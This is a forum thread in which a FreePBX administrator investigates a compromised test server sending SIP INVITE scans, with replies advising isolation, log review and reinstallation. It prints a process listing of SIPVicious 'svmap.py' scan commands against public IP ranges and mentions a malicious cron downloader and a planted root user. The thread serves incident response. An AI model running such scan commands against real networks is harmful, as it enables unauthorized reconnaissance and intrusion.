It looks like one of the test FreePBX servers that we are using has somehow been compromised.
The server is hosted by a cloud server provider and we have received a message from them that, they have received a message from Tepucom Abuse Dept. that our FreePBX server is sending our spam invites. This is a piece of what they wrote:
Tepucom Abuse Dept:
IP-OF-OUR-SERVER/32 (root IP: IP-OF-OUR-SERVER) (PTR: IP-OF-OUR-SERVER.our-vps-provider.com.) was added to the blackholes.tepucom.nl RBLDNS for the following reason:
“Caught scanning for web/mail exploits / compromised hosts”
A T T E N T I O N ! T H I S I S A C O M P R O M I S E D H O S T !
Then they attached a piece of what they have been receiving from our server:
IP-OF-OUR-SERVER tpc-035.mach3builders.nl 20200906/22:46:30 22:44:07.952660 rule 0/0(match): block in on vmx0: IP-OF-OUR-SERVER.5121 > 91.190.98.8.5060: SIP: INVITE sip:[email protected] SIP/2.0
IP-OF-OUR-SERVER tpc-035.mach3builders.nl 20200906/22:46:30 22:44:07.953053 rule 0/0(match): block in on vmx0: IP-OF-OUR-SERVER.5121 > 91.190.98.76.5060: SIP: INVITE sip:[email protected] SIP/2.0
IP-OF-OUR-SERVER tpc-035.mach3builders.nl 20200906/22:46:33 22:44:07.953314 rule 0/0(match): block in on vmx0: IP-OF-OUR-SERVER.5121 > 91.190.98.79.5060: SIP: INVITE sip:[email protected] SIP/2.0
It looks like the invites are somehow being sent from our server to scan different IPs for open SIP ports, is that right? From what I understand usually this process is in reverse, directed to our FreePBX server. Why is it being originated from our server?
It also looks like there is extension 100 involved. We do not have that extension, nor do we have guest/unanimous calls enabled.
Can someone help us figure out what is going on here?
I’m no expert, but I would assume they are using your server to scan other hosts for SIP vulnerabilities. It may be they are using a tool hosted on your server to scan for other vulnerabilities as well.
Since is a test box for you, I would take it off the network so you can stop the scanning and see if you can figure out how they got access to the system (i.e. via ssh, freepbx web gui, etc.) if you have remote console access. If this test box shares credentials with any other box of yours or it has passwordless access to any other servers, I would check if those have been hacked as well.
I’ve seen a few reports of hosts compromised recently and most of them seem to be on older FreePBX versions with the firewall disabled/bypassed and un-patched module vulnerabilities. Found a cron job in root’s crontab that was re-downloading and executing a malicious script that creates a Linux user ‘supports’. Then there’s the usual bunch of malicious PHP scripts scattered throughout the web root, mostly ‘config.php’ and ‘ajax.php’. More than likely there’s something on the system that’s being executed by this ‘supports’ user which is created as a root equivalent (ID=0) that is originating these outgoing attacks/scans. Logging doesn’t seem to be affected, so you should see the user being created in /var/log/secure as well as potentially any shell logins to the system, but I don’t know that I would trust it.
The server’s CPU is currently being loaded at up to 100% and we’re trying to figure out what process is causing this. Below are the currently running processes of our FreePBX instance. Does any of these look suspicious or irregular? Thanks for all your inputs!
We just ran a TOP commant to see what’s taking up most of the CPU resources and this is what we are getting. There are a ton of these python processes that are taking up a lot of CPU. We checked other FreePBX servers, there is none of these. What could these be?
Oh wow, this is what they are looks like. How would they get originated in our server? Does that mean our server indeed has been compromised and we should reinstall it completely? And how can I delete these scripts?
[root@ourpbx ~]# ps x | grep python
930 ? Ssl 36:41 /usr/bin/python -Es /usr/sbin/tuned -l -P
7837 ? R 0:00 python svmap.py 153.17.0.0/17 -A -t0 -m INVITE -v -p 5060
7843 ? S 0:00 python svmap.py 171.246.252.0/23 -A -t0 -m INVITE -v -p 5060
7845 ? R 0:00 python svmap.py 57.142.128.0/18 -A -t0 -m INVITE -v -p 5060
7846 ? R 0:00 python svmap.py 44.140.0.0/17 -A -t0 -m INVITE -v -p 5060
7853 ? R 0:00 python svmap.py 223.241.128.0/18 -A -t0 -m INVITE -v -p 5060
7867 ? R 0:00 python svmap.py 101.166.128.0/18 -A -t0 -m INVITE -v -p 5060
7894 ? R 0:00 python svmap.py 54.241.0.0/17 -A -t0 -m INVITE -v -p 5060
7898 ? R 0:00 python svmap.py 216.95.128.0/18 -A -t0 -m INVITE -v -p 5060
7902 ? R 0:00 python svmap.py 126.101.128.0/18 -A -t0 -m INVITE -v -p 5060
7906 ? R 0:00 python svmap.py 219.234.128.0/18 -A -t0 -m INVITE -v -p 5060
7910 ? R 0:00 python svmap.py 128.112.0.0/17 -A -t0 -m INVITE -v -p 5060
7919 ? R 0:00 python svmap.py 9.101.128.0/18 -A -t0 -m INVITE -v -p 5060
7924 ? R 0:00 python svmap.py 40.138.128.0/18 -A -t0 -m INVITE -v -p 5060
7926 ? R 0:00 python svmap.py 149.93.128.0/18 -A -t0 -m INVITE -v -p 5060
7934 ? R 0:00 python svmap.py 212.236.128.0/18 -A -t0 -m INVITE -v -p 5060
7936 ? R 0:00 python svmap.py 28.34.0.0/17 -A -t0 -m INVITE -v -p 5060
7938 ? R 0:00 python svmap.py 111.254.0.0/17 -A -t0 -m INVITE -v -p 5060
8121 pts/0 R+ 0:00 grep --color=auto python
22614 ? Sl 3:33 /usr/bin/python /usr/bin/fail2ban-server -b -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -x
[root@ourpbx ~]#
this is a sip scanner. When launched against
ranges of ip address space, it will identify any SIP servers
which it finds on the way. Also has the option to scan hosts
on ranges of ports.
Sorry I can’t be of help, but this is fascinating in another way – could you PM your public IP address to @lgaetz to see whether your scanner made it into the APIBAN blacklist? I’m wondering if you hit one of their honeypots.
As this is a test box, I would just take it off the network and make another. Ideally once off the network, you could try to determine how the server was hacked - if you have the experience as it not necessarily easy.
But if one was hacked, I would check the others to see if they were hacked as well. Look for the same weird process, same files on them, odd ssh logins, etc.
That is hard to tell as they could do a number of things to keep it running, obviously you could kill all the running processes.
You could try a reboot to see if they didn’t make it able to auto-restart.
What about changing your firewall to block outbound SIP on that box?
This is a waste of time, because the attacker has root access to the system. You could kill all the python jobs, but he’s probably got a cron job or similar to restart them. If not, he will log in and restart them manually. When something like this happens, the only solution is to reinstall from scratch, or from a backup or snapshot that you are certain was taken before the breach, and secure the system properly.
and I suppose you could remove it, after setting your firewall to allow only authorized IP addresses. However, it’s likely that they also installed a back door, which may be very difficult to find.
As this is not a production system, there is no reason to keep running it. If you want to analyze it to see how it was breached, take a backup and use an uncompromised system to examine it.
If the intruders have not attempted to cover their tracks, the last
command may show their SSH logins and the logs in /var/log/httpd may show their web access.
Wow, I just went to Admin > Administrators and found to malicious users created and granted all admin rights! That is crazy!
What are the ways for them to create users like that. Would they have to be logged into the main admin account first, or would they need to login through ssh to create those users?
Actually what you NEED to be doing when you install these is setup a firewall that blocks access from all other IP addresses than the ones that you are expecting to have incoming SIP registrations from and incoming management access from. It sounds to me like you are wanting to deploy FreePBX in a business or some such and are just using the cloud provider to host it. In that case there’s zero reason for your FreePBX server to be accessible in any fashion whatsoever to the general internet. Just open it up to the IP address you have on your external interface that is connected to the Internet. Many of the cloud providers have firewalls themselves, ask about this. Even if you are trying to setup as a SIP extension provider (virtual PBX) you can do this you just require your business customers to have a static IP on their Internet connections.
If, however, your intent is to SELL sip access to anyone on the general Internet, then IMHO you don’t have to security knowledge or skills to do this safely. Hire someone who does or find another line of work.